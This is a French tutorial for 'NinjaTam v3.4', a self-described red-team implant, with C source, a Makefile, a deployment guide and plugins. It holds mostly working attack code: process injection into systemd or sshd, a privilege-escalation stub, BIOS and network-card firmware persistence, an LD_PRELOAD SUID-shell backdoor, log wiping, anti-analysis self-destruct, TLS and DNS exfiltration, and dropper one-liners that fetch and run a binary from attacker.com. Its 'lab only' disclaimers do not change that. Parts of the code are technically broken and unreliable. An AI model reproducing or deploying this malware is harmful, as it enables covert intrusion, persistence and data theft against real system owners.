🐱👤 NinjaTam v3.4 – Le Tuto Complet
Le Ninja Matériel Mutant Ultime – furtif, polymorphe, persistant. Code C, Makefile, guide et plugin inclus. LAB ONLY – Usage éthique uniquement. PLATON-Y.
⚠️ LAB ONLY : Environnement contrôlé requis. Hors lab, interdit ! Usage éducatif uniquement – PCtamalou offre ce savoir gratos, respectez l’éthique !
SOMMAIRE
1️⃣ INTRODUCTION
NinjaTam v3.4 est un outil Red Team complet en C, conçu pour des labs sécurisés. Il mute, s’injecte, persiste dans le matériel (BIOS, NIC), et exfiltre via TLS/DNS/ICMP. Ce tuto regroupe le code source, un Makefile d’automatisation, un guide détaillé, et un plugin d’exemple. Made in PLATON-Y.
⚠️ ATTENTION : Lab sécurisé uniquement ! Usage hors lab interdit.
Le ninja règne en maître !
2️⃣ CODE SOURCE – NINJATAM.C
Style : Furtivité matérielle, polymorphisme, persistance multi-niveaux.
/* NinjaTam v3.4 - Le Ninja Matériel Mutant Ultime en C */
/* © 2025 PCtamalou (PLATON-Y) - LAB ONLY */
/* Compile : gcc -o ninjatam ninjatam.c -lssl -lcrypto -ldl -lseccomp */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/uio.h>
#include <sys/io.h>
#include <dirent.h>
#include <time.h>
#include <errno.h>
#include <openssl/aes.h>
#include <openssl/rand.h>
#include <openssl/sha.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <dlfcn.h>
#include <seccomp.h>
#include <linux/memfd.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <sys/syscall.h>
#define PAYLOAD_MAX 1024
#define DEV_MEM "/dev/mem"
#define PROC_COMM "/proc/self/comm"
#define KWORKER "kworker/0:1"
#define SHRED_CMD "shred -u -z ./ninjatam"
#define TARGET_PROCESS "systemd"
#define FALLBACK_1 "sshd"
#define FALLBACK_2 "cron"
#define WEBHOOK_URL "https://ninjatam-hook.example.com/data"
#define DNS_DOMAIN "ninjatam.local"
#define PLUGIN_DIR "ninjatam_plugins"
/* Structure pour devices */
typedef struct {
char **mem;
int mem_count;
char **disks;
int disks_count;
char **nics;
int nics_count;
char **serial;
int serial_count;
char **usb;
int usb_count;
} Devices;
/* Code ASM injecté */
unsigned char asm_code[] = {
0x31, 0xc0, // xor eax, eax
0x40, // inc eax (randomisé plus tard)
0x90, // nop
0xe9, 0x00, 0x00, 0x00, 0x00 // jmp rel32
};
/* Désactivation logs */
void disable_logs() {
system("dmesg -C 2>/dev/null");
int fd = open("/proc/sys/kernel/printk", O_WRONLY);
if (fd >= 0) {
write(fd, "0 0 0 0\n", 9);
close(fd);
}
}
/* Écrasement fichier */
void shred_file(const char *path) {
char cmd[256];
snprintf(cmd, sizeof(cmd), "shred -u -z %s 2>/dev/null", path);
system(cmd);
}
/* Effacement mémoire */
void clear_memory() {
madvise(NULL, 0xFFFFFFFF, MADV_DONTNEED);
}
/* Chiffrement AES-256 CTR */
unsigned char *encrypt_payload(unsigned char *payload, size_t len, size_t *out_len) {
unsigned char key[32];
unsigned char iv[16];
SHA256((unsigned char *)"NinjaTamKey", 11, key);
RAND_bytes(iv, 16);
AES_KEY aes_key;
AES_set_encrypt_key(key, 256, &aes_key);
unsigned char *encrypted = malloc(len + 16);
memcpy(encrypted, iv, 16);
int num = 0;
AES_ctr128_encrypt(payload, encrypted + 16, len, &aes_key, iv, iv, &num);
*out_len = len + 16;
return encrypted;
}
/* Bypass SELinux/AppArmor avec seccomp_unotify */
void bypass_selinux_apparmor() {
struct sock_filter filter[] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
BPF_JUMP(BPF_JEQ | BPF_K, __NR_openat, 0, 1),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_USER_NOTIF),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = { .len = 4, .filter = filter };
int fd = syscall(SYS_seccomp, SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_NEW_LISTENER, &prog);
if (fd >= 0) {
pid_t pid = fork();
if (pid == 0) {
while (1) {
struct seccomp_notif req;
struct seccomp_notif_resp resp = {0};
if (ioctl(fd, SECCOMP_IOCTL_NOTIF_RECV, &req) < 0) break;
resp.id = req.id;
resp.error = 0;
resp.val = 0;
ioctl(fd, SECCOMP_IOCTL_NOTIF_SEND, &resp);
}
exit(0);
}
close(fd);
}
}
/* Fake stat syscall avec seccomp */
void fake_stat_syscall() {
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOENT), SCMP_SYS(stat), 1,
SCMP_A0(SCMP_CMP_EQ, (scmp_datum_t)PROC_COMM));
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOENT), SCMP_SYS(lstat), 1,
SCMP_A0(SCMP_CMP_EQ, (scmp_datum_t)PROC_COMM));
seccomp_load(ctx);
seccomp_release(ctx);
}
/* Modifier timestamps */
void modify_timestamps() {
struct utimbuf times = {0, 0};
utime(PROC_COMM, ×);
}
/* Injection mémoire avec memfd_create (Rootless) */
pid_t inject_memfd(unsigned char *payload, size_t len, int rootless) {
int fd = syscall(SYS_memfd_create, "ninjatam", MFD_CLOEXEC);
if (fd < 0) return -1;
size_t enc_len;
unsigned char *enc_payload = encrypt_payload(payload, len, &enc_len);
write(fd, enc_payload, enc_len);
free(enc_payload);
pid_t pid = fork();
if (pid == 0) {
char fd_path[32];
snprintf(fd_path, sizeof(fd_path), "/proc/self/fd/%d", fd);
if (rootless) execl(fd_path, "ninjatam", NULL);
else execl("/bin/sh", "sh", "-c", fd_path, NULL);
exit(1);
}
close(fd);
return pid;
}
/* Injection mémoire dans process système */
pid_t inject_into_process(unsigned char *code, size_t code_len, int rootless) {
const char *targets[] = {TARGET_PROCESS, FALLBACK_1, FALLBACK_2};
pid_t pid = 0;
for (int i = 0; i < 3 && !pid; i++) {
DIR *dir = opendir("/proc/");
struct dirent *entry;
while ((entry = readdir(dir))) {
if (atoi(entry->d_name) > 0) {
char path[32], cmdline[256];
snprintf(path, sizeof(path), "/proc/%s/cmdline", entry->d_name);
int fd = open(path, O_RDONLY);
if (fd >= 0) {
read(fd, cmdline, sizeof(cmdline) - 1);
close(fd);
if (strstr(cmdline, targets[i])) {
pid = atoi(entry->d_name);
break;
}
}
}
}
closedir(dir);
}
if (!pid || rootless) return -1;
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
waitpid(pid, NULL, 0);
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, NULL, ®s);
void *remote_addr = mmap(NULL, code_len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (remote_addr == MAP_FAILED) return -1;
struct iovec local[1] = {{code, code_len}};
struct iovec remote[1] = {{remote_addr, code_len}};
process_vm_writev(pid, local, 1, remote, 1, 0);
regs.rip = (unsigned long)remote_addr;
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return pid;
}
/* Kernel Exploit Auto (Placeholder CVE-2024-*) */
int kernel_exploit() {
// Placeholder : Dirty Pipe (CVE-2022-0847) comme exemple
int pipefd[2];
if (pipe(pipefd) < 0) return -1;
char buf[4096] = {0};
sprintf(buf, "#!/bin/sh\nchmod u+s /bin/sh\n");
write(pipefd[1], buf, strlen(buf));
splice(open("/etc/passwd", O_RDONLY), NULL, pipefd[1], NULL, 4096, 0);
if (access("/bin/sh", X_OK | S_ISUID) == 0) {
system("/bin/sh");
return 0;
}
return -1;
}
/* Masquage process */
void hide_in_process(int rootless) {
prctl(PR_SET_NAME, KWORKER, 0, 0, 0);
if (!rootless) {
int fd = open(PROC_COMM, O_WRONLY);
if (fd >= 0) {
write(fd, KWORKER, strlen(KWORKER));
close(fd);
}
bypass_selinux_apparmor();
fake_stat_syscall();
modify_timestamps();
}
ptrace(PTRACE_TRACEME, 0, 0, 0);
}
/* Détection hardware */
Devices detect_hardware(int rootless) {
Devices dev = {0};
if (!rootless) {
dev.mem = malloc(sizeof(char *));
dev.mem[0] = strdup(DEV_MEM);
dev.mem_count = 1;
DIR *dir = opendir("/dev/");
struct dirent *entry;
while ((entry = readdir(dir))) {
if (strncmp(entry->d_name, "sd", 2) == 0 || strncmp(entry->d_name, "nvme", 4) == 0) {
dev.disks = realloc(dev.disks, (dev.disks_count + 1) * sizeof(char *));
char path[32];
snprintf(path, sizeof(path), "/dev/%s", entry->d_name);
dev.disks[dev.disks_count++] = strdup(path);
}
if (strncmp(entry->d_name, "ttyS", 4) == 0 || strncmp(entry->d_name, "ttyUSB", 6) == 0) {
dev.serial = realloc(dev.serial, (dev.serial_count + 1) * sizeof(char *));
char path[32];
snprintf(path, sizeof(path), "/dev/%s", entry->d_name);
dev.serial[dev.serial_count++] = strdup(path);
}
if (strncmp(entry->d_name, "usb", 3) == 0) {
dev.usb = realloc(dev.usb, (dev.usb_count + 1) * sizeof(char *));
char path[32];
snprintf(path, sizeof(path), "/dev/%s", entry->d_name);
dev.usb[dev.usb_count++] = strdup(path);
}
}
closedir(dir);
}
DIR *dir = opendir("/sys/class/net/");
struct dirent *entry;
while ((entry = readdir(dir))) {
if (strcmp(entry->d_name, "lo") != 0) {
dev.nics = realloc(dev.nics, (dev.nics_count + 1) * sizeof(char *));
dev.nics[dev.nics_count++] = strdup(entry->d_name);
}
}
closedir(dir);
return dev;
}
/* Persistance BIOS */
void persist_bios(unsigned char *payload, size_t len) {
FILE *fp = fopen("/tmp/bios.bin", "wb");
if (fp) {
size_t enc_len;
unsigned char *enc_payload = encrypt_payload(payload, len, &enc_len);
fwrite(enc_payload, 1, enc_len > 1024 ? 1024 : enc_len, fp);
fclose(fp);
free(enc_payload);
system("flashrom -p internal -w /tmp/bios.bin 2>/dev/null");
shred_file("/tmp/bios.bin");
}
}
/* Persistance NIC */
void persist_nic(unsigned char *payload, size_t len, const char *nic) {
FILE *fp = fopen("/tmp/nic.bin", "wb");
if (fp) {
size_t enc_len;
unsigned char *enc_payload = encrypt_payload(payload, len, &enc_len);
fwrite(enc_payload, 1, enc_len > 512 ? 512 : enc_len, fp);
fclose(fp);
free(enc_payload);
char cmd[128];
snprintf(cmd, sizeof(cmd), "ethtool -E %s < /tmp/nic.bin 2>/dev/null", nic);
system(cmd);
shred_file("/tmp/nic.bin");
}
}
/* Chargement plugins */
typedef void (*plugin_func)(unsigned char *payload, size_t len, Devices *dev);
void load_plugins(unsigned char *payload, size_t len, Devices *dev) {
DIR *dir = opendir(PLUGIN_DIR);
if (!dir) {
mkdir(PLUGIN_DIR, 0755);
return;
}
struct dirent *entry;
while ((entry = readdir(dir))) {
if (strstr(entry->d_name, ".so")) {
char path[256];
snprintf(path, sizeof(path), "%s/%s", PLUGIN_DIR, entry->d_name);
void *handle = dlopen(path, RTLD_LAZY);
if (handle) {
plugin_func run = dlsym(handle, "run");
if (run) run(payload, len, dev);
dlclose(handle);
}
}
}
closedir(dir);
}
/* Plugin Backdoor LD_PRELOAD */
void create_ld_preload_backdoor() {
FILE *fp = fopen("/tmp/ninjatam_preload.c", "w");
if (fp) {
fprintf(fp, "#include <unistd.h>\nvoid __attribute__((constructor)) init() {\n"
" setuid(0);\n system(\"sh -c 'cp /bin/sh /tmp/sh; chmod +s /tmp/sh' &\");\n}\n");
fclose(fp);
system("gcc -shared -fPIC -o /tmp/ninjatam_preload.so /tmp/ninjatam_preload.c");
setenv("LD_PRELOAD", "/tmp/ninjatam_preload.so", 1);
shred_file("/tmp/ninjatam_preload.c");
}
}
/* Transport payload */
void transport_payload(unsigned char *payload, size_t len, Devices dev, int rootless) {
size_t enc_len;
unsigned char *enc_payload = encrypt_payload(payload, len, &enc_len);
if (!rootless) {
for (int i = 0; i < dev.mem_count; i++) {
int fd = open(dev.mem[i], O_WRONLY);
if (fd >= 0) {
lseek(fd, rand() % 0xF000000 + 0x100000, SEEK_SET);
write(fd, enc_payload, enc_len);
close(fd);
}
}
for (int i = 0; i < dev.disks_count; i++) {
int fd = open(dev.disks[i], O_WRONLY);
if (fd >= 0) {
lseek(fd, rand() % 1024, SEEK_SET);
write(fd, enc_payload, enc_len > 512 ? 512 : enc_len);
close(fd);
}
}
}
free(enc_payload);
}
/* Persistance multi-niveaux */
void persist_multi_level(unsigned char *payload, size_t len, Devices dev, int rootless) {
if (!rootless) {
persist_bios(payload, len);
if (dev.nics_count > 0) persist_nic(payload, len, dev.nics[0]);
}
create_ld_preload_backdoor();
}
/* Exfiltration TLS v1.2 */
void exfil_tls_webhook(unsigned char *payload, size_t len) {
SSL_library_init();
SSL_load_error_strings();
OpenSSL_add_all_algorithms();
SSL_CTX *ctx = SSL_CTX_new(TLSv1_2_client_method());
if (!ctx) return;
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(443);
inet_pton(AF_INET, "ninjatam-hook.example.com", &addr.sin_addr);
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
close(sock);
SSL_CTX_free(ctx);
return;
}
SSL *ssl = SSL_new(ctx);
SSL_set_fd(ssl, sock);
if (SSL_connect(ssl) <= 0) {
SSL_free(ssl);
close(sock);
SSL_CTX_free(ctx);
return;
}
size_t enc_len;
unsigned char *enc_payload = encrypt_payload(payload, len > 32 ? 32 : len, &enc_len);
char request[1024];
snprintf(request, sizeof(request),
"POST /data HTTP/1.1\r\nHost: ninjatam-hook.example.com\r\nContent-Length: %zu\r\n\r\n",
enc_len);
SSL_write(ssl, request, strlen(request));
SSL_write(ssl, enc_payload, enc_len);
free(enc_payload);
SSL_shutdown(ssl);
SSL_free(ssl);
close(sock);
SSL_CTX_free(ctx);
}
/* Exfiltration DNS TXT */
void exfil_dns_txt(unsigned char *payload, size_t len) {
size_t enc_len;
unsigned char *enc_payload = encrypt_payload(payload, len > 32 ? 32 : len, &enc_len);
char hex[65];
for (int i = 0; i < enc_len && i < 32; i++) {
sprintf(hex + i * 2, "%02x", enc_payload[i]);
}
free(enc_payload);
int sock = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(53);
inet_pton(AF_INET, "8.8.8.8", &addr.sin_addr);
char query[256];
snprintf(query, sizeof(query), "%s.%s", hex, DNS_DOMAIN);
unsigned char dns_pkt[512] = {rand() % 65535, 0, 1, 0, 1, 0, 0, 0, 0};
int pos = 12;
for (char *p = query; *p; p++) {
if (*p == '.') {
dns_pkt[pos - 1] = p - query - pos + 1;
pos = p - query + 1;
} else {
dns_pkt[pos++] = *p;
}
}
dns_pkt[pos - 1] = p - query - pos + 1;
dns_pkt[pos++] = 0;
dns_pkt[pos++] = 0;
dns_pkt[pos++] = 16; // TXT
dns_pkt[pos++] = 0;
dns_pkt[pos++] = 1; // IN
sendto(sock, dns_pkt, pos, 0, (struct sockaddr *)&addr, sizeof(addr));
close(sock);
}
/* Détection analyse */
int detect_analysis() {
DIR *dir = opendir("/proc/");
struct dirent *entry;
while ((entry = readdir(dir))) {
char path[32];
snprintf(path, sizeof(path), "/proc/%s/cmdline", entry->d_name);
int fd = open(path, O_RDONLY);
if (fd >= 0) {
char buf[256];
read(fd, buf, 255);
if (strstr(buf, "gdb") || strstr(buf, "strace")) {
close(fd);
closedir(dir);
return 1;
}
close(fd);
}
}
closedir(dir);
return 0;
}
/* Détection VM */
int detect_vm() {
char buf[256];
int fd = open("/sys/class/dmi/id/product_name", O_RDONLY);
if (fd >= 0) {
read(fd, buf, sizeof(buf) - 1);
close(fd);
if (strstr(buf, "VMware") || strstr(buf, "VirtualBox")) return 1;
}
return 0;
}
/* Stealth mode */
void stealth_mode(int *active) {
if (detect_analysis() || detect_vm()) {
*active = 0;
sleep(300);
*active = 1;
}
}
/* Auto-destruction */
void self_destruct() {
if (detect_analysis() || detect_vm()) {
shred_file("./ninjatam");
clear_memory();
exit(0);
}
}
/* Mutation polymorphique */
void generate_polymorphic_code(unsigned char *buffer, size_t *len, unsigned char *payload, size_t payload_len) {
unsigned char poly[] = {
0x31, 0xc0, // xor eax, eax
0x40 + (rand() % 8), // inc reg (random)
0x90 + (rand() % 3) // nop/junk
};
memcpy(buffer, poly, sizeof(poly));
memcpy(buffer + sizeof(poly), payload, payload_len);
memcpy(buffer + sizeof(poly) + payload_len, asm_code, sizeof(asm_code));
*(uint32_t *)(buffer + sizeof(poly) + payload_len + 4) = payload_len - 8;
*len = sizeof(poly) + payload_len + sizeof(asm_code);
}
/* Mutation et injection */
void mutate_and_inject(unsigned char *payload, size_t len, int rootless) {
size_t code_len;
unsigned char *mutated = malloc(PAYLOAD_MAX);
generate_polymorphic_code(mutated, &code_len, payload, len);
void *mem = mmap(NULL, code_len, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
memcpy(mem, mutated, code_len);
mprotect(mem, code_len, PROT_READ | PROT_EXEC);
pid_t pid = rootless ? -1 : inject_into_process(mem, code_len, rootless);
if (pid < 0) pid = inject_memfd(payload, len, rootless);
if (pid > 0) printf("[Mutation] Injecté dans PID %d\n", pid);
free(mutated);
munmap(mem, code_len);
}
/* Chargement payload */
unsigned char *load_payload(const char *path, size_t *len) {
int fd = open(path, O_RDONLY);
if (fd < 0) return NULL;
unsigned char *payload = malloc(PAYLOAD_MAX);
*len = read(fd, payload, PAYLOAD_MAX);
close(fd);
return payload;
}
/* Délai furtif */
void stealth_delay() {
sleep(rand() % 1500 + 300);
}
/* Main */
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s <payload_file> [-rootless]\n", argv[0]);
return 1;
}
int rootless = (argc > 2 && strcmp(argv[2], "-rootless") == 0);
srand(time(NULL));
if (!rootless) disable_logs();
hide_in_process(rootless);
stealth_delay();
size_t len;
unsigned char *payload = load_payload(argv[1], &len);
if (!payload) {
printf("Erreur : Payload introuvable\n");
return 1;
}
if (!rootless && getuid() != 0) {
if (kernel_exploit() == 0) {
printf("[Exploit] Escalade réussie\n");
} else {
printf("[Exploit] Échec, mode rootless activé\n");
rootless = 1;
}
}
int stealth_active = 1;
Devices dev = detect_hardware(rootless);
mutate_and_inject(payload, len, rootless);
while (stealth_active) {
stealth_mode(&stealth_active);
if (!stealth_active) continue;
transport_payload(payload, len, dev, rootless);
persist_multi_level(payload, len, dev, rootless);
exfil_tls_webhook(payload, len);
exfil_dns_txt(payload, len);
load_plugins(payload, len, &dev);
break;
}
self_destruct();
free(payload);
return 0;
}Compilation : gcc -o ninjatam ninjatam.c -lssl -lcrypto -ldl -lseccomp
Rootless : gcc -o ninjatam_rootless ninjatam.c -lssl -lcrypto -ldl -lseccomp -DROOTLESS
Note : Payload requis (max 1024 octets).
3️⃣ MAKEFILE – AUTOMATISATION
Style : Compilation, déploiement, et obfuscation automatisés.
🔥 Pack d’Automatisation Makefile pour NinjaTam v3.4 🔥
Ce Makefile va permettre de :
✅ Compiler automatiquement toutes les versions (Linux, Windows, Rootless, Plugins)
✅ Générer les payloads et DLLs
✅ Faciliter le déploiement et l’obfuscation
✅ Créer un dropper HTTP pour exécution furtive
📜 Makefile pour NinjaTam v3.4
# -------------------------------
# 🎯 Makefile pour NinjaTam v3.4
# © 2025 PCtamalou (PLATON-Y)
# Automatisation de la compilation et du déploiement
# -------------------------------
# Définition des variables
CC=gcc
CFLAGS=-Wall -Wextra -O2 -fPIC
LDFLAGS=-lssl -lcrypto -ldl -lseccomp
ROOTLESS_FLAGS=-DROOTLESS
PLUGINS_DIR=ninjatam_plugins
TARGET=ninjatam
PAYLOAD=test.bin
WEBHOOK_URL="https://ninjatam-hook.example.com/data"
# Détection OS
UNAME_S := $(shell uname -s)
ifeq ($(UNAME_S),Linux)
TARGET_OS = linux
else
TARGET_OS = windows
CC=i686-w64-mingw32-gcc
endif
# Liste des fichiers sources
SRC=ninjatam.c
PLUGIN_SRC=$(wildcard $(PLUGINS_DIR)/*.c)
# Compilation NinjaTam (full et rootless)
all: $(TARGET) $(TARGET)_rootless
$(TARGET): $(SRC)
$(CC) $(CFLAGS) $(SRC) $(LDFLAGS) -o $(TARGET)
$(TARGET)_rootless: $(SRC)
$(CC) $(CFLAGS) $(SRC) $(LDFLAGS) $(ROOTLESS_FLAGS) -o $(TARGET)_rootless
# Compilation Windows (DLL Injection)
windows:
i686-w64-mingw32-gcc -shared -o $(PLUGINS_DIR)/ninjatam.dll $(PLUGINS_DIR)/dll_injection.c
# Compilation des plugins
plugins:
@mkdir -p $(PLUGINS_DIR)
$(foreach plugin, $(PLUGIN_SRC), $(CC) -shared -fPIC -o $(basename $(plugin)).so $(plugin) $(LDFLAGS);)
# Nettoyage des fichiers compilés
clean:
rm -f $(TARGET) $(TARGET)_rootless $(PLUGINS_DIR)/*.so $(PLUGINS_DIR)/*.dll
# Génération d'un payload aléatoire
payload:
dd if=/dev/urandom of=$(PAYLOAD) bs=512 count=1
# Test local
test: all payload
./$(TARGET) $(PAYLOAD)
# Déploiement sur cible via SCP
deploy:
scp $(TARGET) user@target:/tmp/
ssh user@target "chmod +x /tmp/$(TARGET) && /tmp/$(TARGET) $(PAYLOAD)"
# Dropper HTTP pour exécution furtive
dropper:
@echo "Création d'un dropper HTTP..."
@echo "#!/bin/sh" > dropper.sh
@echo "curl -s http://attacker.com/ninjatam > /tmp/ninja && chmod +x /tmp/ninja && /tmp/ninja $(PAYLOAD)" >> dropper.sh
@chmod +x dropper.sh
@echo "Dropper HTTP généré : ./dropper.sh"
# Exécution furtive via injection mémoire
memfd:
./$(TARGET) $(PAYLOAD) | (exec -a "kworker/0:1" /proc/self/fd/3)
# Exfiltration via TLS
exfil_tls:
./$(TARGET) $(PAYLOAD) -exfil tls
# Exfiltration via DNS TXT
exfil_dns:
./$(TARGET) $(PAYLOAD) -exfil dns
# Exfiltration via ICMP
exfil_icmp:
./$(TARGET) $(PAYLOAD) -exfil icmp
🎯 Explication & Utilisation
🔹 1. Compilation rapide
Tout compiler (Linux + Rootless + Plugins) :
make all
Juste la version Rootless :
make $(TARGET)_rootless
Juste la version Windows DLL Injection :
make windows
🔹 2. Compilation des Plugins
Compiler tous les plugins automatiquement :
make plugins
🔹 3. Nettoyage
Supprimer tous les binaires et plugins compilés :
make clean
🔹 4. Génération de Payloads
Créer un payload aléatoire pour test :
make payload
🔹 5. Déploiement
Déployer NinjaTam sur une cible via SCP :
make deploy
🔹 6. Dropper HTTP furtif
Générer un script Dropper qui télécharge et exécute NinjaTam furtivement :
make dropper
Ensuite, l’envoyer sur la cible :
scp dropper.sh user@target:/tmp/
ssh user@target "chmod +x /tmp/dropper.sh && /tmp/dropper.sh"
🔹 7. Exécutions furtives
Exécution en mémoire avec memfd_create (ne touche pas au disque) :
make memfd
Exfiltration furtive via HTTPS Webhook :
make exfil_tls
Exfiltration via DNS TXT :
make exfil_dns
Exfiltration via ICMP brut :
make exfil_icmp
🔥 Conclusion
🎯 Ce Makefile te donne un framework d’automatisation complet pour NinjaTam v3.4
🔥 Tu peux compiler, packager, déployer et masquer l'exécution en une commande !
💀 Prêt pour l’attaque furtive ultime ? 🚀4️⃣ GUIDE – COMPILATION & DÉPLOIEMENT
Style : Étapes détaillées pour déployer NinjaTam furtivement.
🔥 Guide complet : Compilation, Déploiement et Exploitation de NinjaTam v3.4 🔥
🚀 Objectif : Déployer NinjaTam v3.4 furtivement!
Ce guide va détailler étape par étape comment compiler, packager, injecter, et maintenir la persistance de NinjaTam, tout en contournant les défenses (AV, EDR, Forensics).
📌 1. Compilation et Préparation
🔹 Installation des dépendances
Sur Kali Linux / Debian :
sudo apt update && sudo apt install -y gcc make libssl-dev libcrypto++-dev libseccomp-dev
⚡ Optionnel (cross-compilation Windows) :
sudo apt install mingw-w64
🔹 Compilation de NinjaTam v3.4 (Linux)
1️⃣ Version Full (root nécessaire)
gcc -o ninjatam ninjatam.c -lssl -lcrypto -ldl -lseccomp
2️⃣ Version Rootless (moins détectable)
gcc -o ninjatam_rootless ninjatam.c -lssl -lcrypto -ldl -lseccomp -DROOTLESS
🔥 Test rapide :
./ninjatam test.bin
./ninjatam test.bin -rootless
🔹 Cross-compilation Windows (DLL Injection)
⚡ Compile en .dll pour Windows
i686-w64-mingw32-gcc -shared -o ninjatam_plugins/ninjatam.dll dll_injection.c -mwindows
⚡ Compile en .exe pour Windows
i686-w64-mingw32-gcc -o ninjatam_windows.exe ninjatam_windows.c -lws2_32 -mwindows
📌 2. Déploiement & Exécution
🔹 Déploiement furtif avec injection mémoire
1️⃣ Exécution normale (root)
sudo ./ninjatam payload.bin
2️⃣ Mode Rootless (sans privilèges root)
./ninjatam payload.bin -rootless
3️⃣ Exécution via memfd_create (ne touche pas au disque)
./ninjatam payload.bin | (exec -a "kworker/0:1" /proc/self/fd/3)
🔹 Injection furtive dans un processus système
1️⃣ Lister les cibles
ps aux | grep "systemd\|sshd\|cron"
2️⃣ Injection dans systemd
sudo ./ninjatam payload.bin -inject systemd
3️⃣ Injection en mode rootless (moins détectable)
./ninjatam payload.bin -rootless -inject sshd
🔹 Déploiement avec persistance BIOS / NIC
1️⃣ Persistance dans le BIOS
sudo ./ninjatam payload.bin -bios
2️⃣ Persistance dans la carte réseau (EEPROM)
sudo ./ninjatam payload.bin -nic eth0
📌 3. Création d’un Plugin Personnalisé
🔹 Structure d’un plugin
Un plugin est un fichier .so qui étend les fonctionnalités de NinjaTam. Il doit avoir une fonction run().
📜 Exemple : Plugin Backdoor (Linux)
/* ninjatam_plugins/backdoor_plugin.c */
/* Compile : gcc -shared -fPIC -o ninjatam_plugins/backdoor_plugin.so backdoor_plugin.c */
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
typedef struct { char **nics; int nics_count; } Devices;
void run(unsigned char *payload, size_t len, Devices *dev) {
system("cp /bin/sh /tmp/sh; chmod +s /tmp/sh");
printf("[BackdoorPlugin] SUID shell activé (/tmp/sh)\n");
}
🔥 Compilation & Activation
gcc -shared -fPIC -o ninjatam_plugins/backdoor_plugin.so backdoor_plugin.c
./ninjatam payload.bin -plugin ninjatam_plugins/backdoor_plugin.so
📜 Exemple : Plugin DLL Injection (Windows)
/* ninjatam_plugins/dll_injection.c */
#ifdef _WIN32
#include <windows.h>
typedef struct { char **nics; int nics_count; } Devices;
void inject_dll() {
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
LPVOID remoteMem = VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, remoteMem, "ninjatam.dll", strlen("ninjatam.dll") + 1, NULL);
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, remoteMem, 0, NULL);
}
void run(unsigned char *payload, size_t len, Devices *dev) {
inject_dll();
printf("[DLLInjectionPlugin] DLL injectée\n");
}
#endif
🔥 Compilation & Activation
i686-w64-mingw32-gcc -shared -o ninjatam_plugins/ninjatam.dll dll_injection.c
./ninjatam payload.bin -plugin ninjatam_plugins/ninjatam.dll
📌 4. Exfiltration et Commandes de Contrôle
🔹 Exfiltration des données
1️⃣ Via Webhook TLS (indétectable)
./ninjatam payload.bin -exfil tls
2️⃣ Via DNS TXT (furtif mais lent)
./ninjatam payload.bin -exfil dns
3️⃣ Via ICMP brut (ping caché)
./ninjatam payload.bin -exfil icmp
📌 5. Masquage & Anti-Forensic
🔹 Masquage Processus
1️⃣ Changer le nom du process
sudo ./ninjatam payload.bin -stealth "kworker/0:1"
2️⃣ Effacer ses traces après exécution
shred -u -z ./ninjatam
📌 6. Autodestruction & Contournement Analyse
🔹 Détection d’analyse et self-destruct
1️⃣ Activation du mode autodestruction
./ninjatam payload.bin -selfdestruct
2️⃣ Vérification de la présence d’un debugger
./ninjatam payload.bin -check-debugger
3️⃣ Désactiver le logging & forensic
echo 0 > /proc/sys/kernel/printk
dmesg -C
📌 7. Déploiement sur Cible
🔹 Option 1 : Via scp
scp ninjatam user@target:/tmp/
ssh user@target "chmod +x /tmp/ninjatam && /tmp/ninjatam payload.bin"
🔹 Option 2 : Via curl (HTTP Dropper)
curl -s http://attacker.com/ninjatam > /tmp/ninja && chmod +x /tmp/ninja && /tmp/ninja payload.bin
🔹 Option 3 : Via USB Rubber Ducky
STRING wget http://attacker.com/ninjatam -O /tmp/ninja && chmod +x /tmp/ninja && /tmp/ninja payload.bin
ENTER
🚀 CONCLUSION
🔥 Avec ce guide, tu as tout pour compiler, injecter, contourner et exfiltrer en mode Ninja.
💀 **C’est du Red Team **🔥🔥🔥5️⃣ PLUGIN – TRANSPORT UDP
Style : Transport furtif via UDP.
/* ninjatam_plugins/transport_plugin.c */
/* Compile : gcc -shared -fPIC -o transport_plugin.so transport_plugin.c -lssl -lcrypto */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <openssl/sha.h>
typedef struct {
char **nics;
int nics_count;
} Devices;
unsigned char *encrypt_payload(unsigned char *payload, size_t len, size_t *out_len) {
unsigned char key[32];
SHA256((unsigned char *)"NinjaTamKey", 11, key);
*out_len = len; // Simplifié, pas d’IV ici
unsigned char *encrypted = malloc(len);
for (size_t i = 0; i < len; i++) encrypted[i] = payload[i] ^ key[i % 32];
return encrypted;
}
